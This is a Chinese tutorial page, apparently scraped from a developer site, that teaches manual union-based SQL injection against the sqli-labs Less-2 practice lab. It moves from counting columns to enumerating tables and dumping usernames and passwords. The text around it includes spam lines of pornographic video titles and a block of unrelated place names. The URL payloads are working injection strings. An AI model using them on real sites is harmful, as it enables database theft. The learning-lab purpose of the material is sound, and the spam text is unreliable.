最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

sql注入之手工注入示例詳解

 更新時間:2016年09月25日 10:01:58   投稿:daisy  
之前和大家分享了基本的SQL注入的知識,這一篇講的就是在得知注入點的之后,如何有效地進行脫褲。文章通過示例介紹的很詳細(xì),對大家的理解和學(xué)習(xí)很有幫助,下面來一起看看吧。

前言

這篇文章就是一個最基本的SQl手工注入的過程了。基本上在sqlilabs上面的實驗,如果知道了其中的全部知識點,都可以通過以下的步驟進行脫褲。下面的這個步驟也是其他的脫褲手段的基礎(chǔ)。如果想要精通SQL注入,那么這個最基本的脫褲步驟是必須了解和掌握的。

為了方便說明,我們還是用之前的數(shù)字型的注入點為例來進行說明。

得到字段總數(shù)

在前面的介紹中,我們已經(jīng)知道在http://localhost/sqlilabs/Less-2/?id=1id是一個注入點。

后臺的SQL語句的寫法大致為

select username,password,[....] from table where id=userinput

那么我們通過使用order by的語句來判斷select所查詢字段的數(shù)目。

那么payload變?yōu)椋?/p>

http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....

當(dāng)使用order by 4時程序出錯,那么select的字段一共是3個。

得到顯示位

在頁面上會顯示從select中選取的字段,我們接下來就是要判斷顯示的字段是哪幾個字段。

使用如下的payload(兩者均可)進行判斷。

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3 
http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3

當(dāng)使用個如上的payload時,頁面的顯示如下:

通過如上的頁面顯示就可以知道,頁面中顯示的是第2位和第3位的信息。

查選庫

在知道了顯示位之后,那么接下來就可以通過顯示位來顯示我們想知道的信息,如數(shù)據(jù)庫的版本,用戶信息等等。那么我們使用如下的payload就可以知道相關(guān)的信息。

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()

此時頁面的顯示為:

可以看到在頁面上就出現(xiàn)了數(shù)據(jù)庫的版本信息和當(dāng)前使用的數(shù)據(jù)庫信息。

那么接下來我們通過這種方式知道數(shù)據(jù)庫中所有的數(shù)據(jù)庫的名稱。

payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 0,1 #得到第一個庫名
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 #得到第二個庫名
...

查選表名

由于database()返回的就是當(dāng)前web程序所使用的數(shù)據(jù)庫名,那么我們就利用database()來查詢所有的表信息。當(dāng)然在上一步中。我們也已經(jīng)知道當(dāng)前的database就是security

那么我們構(gòu)造的payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

這樣我們就得到當(dāng)前數(shù)據(jù)庫下所有的表名了。頁面返回的結(jié)果是:

所以我們知道在當(dāng)前的數(shù)據(jù)庫中存在4張表,分別是emails,referers,uagents,users。

查選列名

在知道了表名之后,接下來我們利用information_schema.columns就可以根據(jù)表名來獲取當(dāng)前表中所有的字段。

payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六進制)

頁面的顯示結(jié)果如下:

通過這個語句,我們就知道在users表中存在USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password這些字段。但是我本地測試的測試的時候,這個存在一個問題,實際上在security數(shù)據(jù)庫的users的表中,只有id,username,password這3個字段,其他的字段都是其他數(shù)據(jù)庫的中users表的字段名。

通過上面的payload,我們也同樣可以知道在emails,referers,uagents中的字段名稱。

但是有的時候后臺的代碼可能僅用了使用where子句,那么這個時候就無法通過information_schema.coumns來得到列名了,這個時候只能夠根據(jù)你自己多年的黑客經(jīng)驗來進行猜解了。猜解的方法也是比較的簡單,使用exists子句就可以進行猜解了。假設(shè)在我們已經(jīng)知道了表名的情況下(當(dāng)然猜解表名也使用通過exists子句來完成)。

猜解的語句如下:

http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)

主要的語句就是exists(select 需要猜解的列名 from users)這種句式。如果在users表中不存在uname列名,則頁面不會顯示內(nèi)容或者是直接出現(xiàn)sql的錯誤語句。

如下如所示:

下面這個就是猜解到了users表中存在的字段。

http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)

猜測在users表中存在username列,上面的語句程序可以正常第返回結(jié)果,那么壽命在users表中確實存在username列名。

脫褲

在知道了當(dāng)前數(shù)據(jù)庫所有的表名和字段名之后,接下來我們就可以dump數(shù)據(jù)庫中所有的信息了。比如我們下載當(dāng)前users表中所有的數(shù)據(jù)。

可以使用如下的payload:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users

就可以得到users表中所有的usernamepassword的數(shù)據(jù)了,通過這種方式也能夠得到其他表中的數(shù)據(jù)了。

總結(jié)

以上就是說sql手工注入的完整示例介紹,不知道大家都學(xué)會了?小編還需繼續(xù)更新關(guān)于sql注入的文章,請繼續(xù)關(guān)注腳本之家。

相關(guān)文章

  • 很全的SQL中文解釋代碼

    很全的SQL中文解釋代碼

    學(xué)習(xí)sql的朋友可以參考下,中文版sql命令
    2008-04-04
  • 數(shù)據(jù)庫查詢排除重復(fù)記錄的方法

    數(shù)據(jù)庫查詢排除重復(fù)記錄的方法

    這篇文章主要介紹了數(shù)據(jù)庫查詢排除重復(fù)記錄的方法,使用DISTINCT語句實現(xiàn),需要的朋友可以參考下
    2014-06-06
  • GaussDB數(shù)據(jù)庫何創(chuàng)建修改數(shù)據(jù)庫和數(shù)據(jù)表的方法

    GaussDB數(shù)據(jù)庫何創(chuàng)建修改數(shù)據(jù)庫和數(shù)據(jù)表的方法

    GaussDB 是一款由華為開發(fā)的企業(yè)級分布式數(shù)據(jù)庫,具有高性能、高可用、高可靠性等特點,廣泛應(yīng)用于各種業(yè)務(wù)場景,本指南將介紹如何在 GaussDB 中創(chuàng)建數(shù)據(jù)庫和數(shù)據(jù)表,修改表結(jié)構(gòu),并添加約束,需要的朋友可以參考下
    2024-06-06
  • Mssql,Access的sql經(jīng)典SQL語句大全

    Mssql,Access的sql經(jīng)典SQL語句大全

    常用不常用的一些sql語句,對數(shù)據(jù)庫操作不是很熟練的朋友可以查詢
    2012-03-03
  • Sybase 復(fù)制與熱切換數(shù)據(jù)

    Sybase 復(fù)制與熱切換數(shù)據(jù)

    SYBASE復(fù)制服務(wù)器(Sybase Replication Server)用來滿足日益發(fā)展的企業(yè)客戶/服務(wù)器計算機環(huán)境的需要。自從復(fù)制服務(wù)器被廣泛應(yīng)用以來,已成為企業(yè)范圍內(nèi)客戶/服務(wù)器應(yīng)用模式的基礎(chǔ)。
    2009-06-06
  • SQL注入的2個小Trick及示例總結(jié)

    SQL注入的2個小Trick及示例總結(jié)

    這篇文章主要給大家介紹了關(guān)于SQL注入的2個小Trick的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2018-11-11
  • SELECT INTO用法及支持的數(shù)據(jù)庫

    SELECT INTO用法及支持的數(shù)據(jù)庫

    SQL中的SELECT INTO是一種將查詢結(jié)果插入到新表中的操作,能夠快速復(fù)制數(shù)據(jù)和表結(jié)構(gòu),本文主要介紹了SELECT INTO用法及支持的數(shù)據(jù)庫,感興趣的可以了解一下
    2025-03-03
  • pgsql binlog監(jiān)聽功能點解析

    pgsql binlog監(jiān)聽功能點解析

    這篇文章主要為大家介紹了pgsql binlog監(jiān)聽功能點解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-02-02
  • 達夢數(shù)據(jù)庫如何設(shè)置自增主鍵的方法及注意事項

    達夢數(shù)據(jù)庫如何設(shè)置自增主鍵的方法及注意事項

    這篇文章主要介紹了達夢數(shù)據(jù)庫如何設(shè)置自增主鍵的方法及注意事項的相關(guān)資料,在達夢數(shù)據(jù)庫中實現(xiàn)自增字段通常需要使用序列(sequence)和觸發(fā)器(trigger),需要的朋友可以參考下
    2024-09-09
  • SQLite快速入門指南

    SQLite快速入門指南

    這篇文章主要介紹了SQLite快速入門指南,作為開源的嵌入式數(shù)據(jù)庫,SQLite可以在不需要過多投入數(shù)據(jù)庫開發(fā)時提供十分輕便的服務(wù),需要的朋友可以參考下
    2015-07-07

最新評論

甘泉县| 南宫市| 五寨县| 涞水县| 三门县| 镇康县| 昌吉市| 延长县| 安平县| 富川| 白山市| 揭东县| 绿春县| 延边| 墨竹工卡县| 沅陵县| 都兰县| 呼图壁县| 任丘市| 曲松县| 九江市| 通海县| 湟中县| 聂荣县| 漠河县| 淮安市| 襄垣县| 汝城县| 石城县| 土默特右旗| 兴义市| 衡阳县| 乃东县| 剑河县| 利辛县| 衡阳市| 永安市| 蛟河市| 阳泉市| 万全县| 农安县|